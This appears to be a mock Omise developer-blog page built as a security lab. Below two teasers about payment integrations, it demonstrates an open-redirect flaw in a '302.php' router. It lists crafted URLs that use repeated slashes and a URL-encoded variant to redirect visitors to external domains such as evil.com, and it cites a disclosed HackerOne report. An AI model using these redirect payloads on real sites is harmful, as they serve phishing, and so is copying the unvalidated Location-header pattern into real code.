Omise Developer Blog

Insights on payments, APIs, security, and fintech from the team building Southeast Asia's most trusted payment gateway.

Interviews

Interview: How Pomelo Fashion Scaled Payments Across Southeast Asia

We sat down with Pomelo's CTO to discuss how they handled multi-currency transactions, fraud prevention, and peak load during flash sales.

Salinee T. · Mar 1, 2019 · 12 min read

InterviewCase StudyE-commerce

Interviews

How Grab Integrated Omise for In-App Payments in Thailand

A technical deep-dive into how Grab's engineering team integrated the Omise API for in-app ride payment — handling concurrency, retries, and refunds at scale.

Dhawal N. · Feb 15, 2019 · 15 min read

InterviewMobileScale

Lab 302 — Attack Payloads

The server router reads REQUEST_URI, strips /302.php, and passes the rest to header("Location:").

Normal URL (safe):

302.php?category=interview&page=2

⚠ Attack — external domain in PATH:

http://www.wealthyoda.com/302.php////bing.com/?www.omise.co/?category=interview&page=2 http://www.wealthyoda.com/302.php////evil.com/?www.omise.co http://www.wealthyoda.com/302.php/%2f%2f%2fbing.com%2f?www.omise.co (URL-encoded)

How: ////bing.com/ in Location header → browser normalises → //bing.com/ (protocol-relative) → external redirect

📄 HackerOne #504751 · Omise · $100 · Low 3.3

Omise Developer Blog

Products

Developers

Company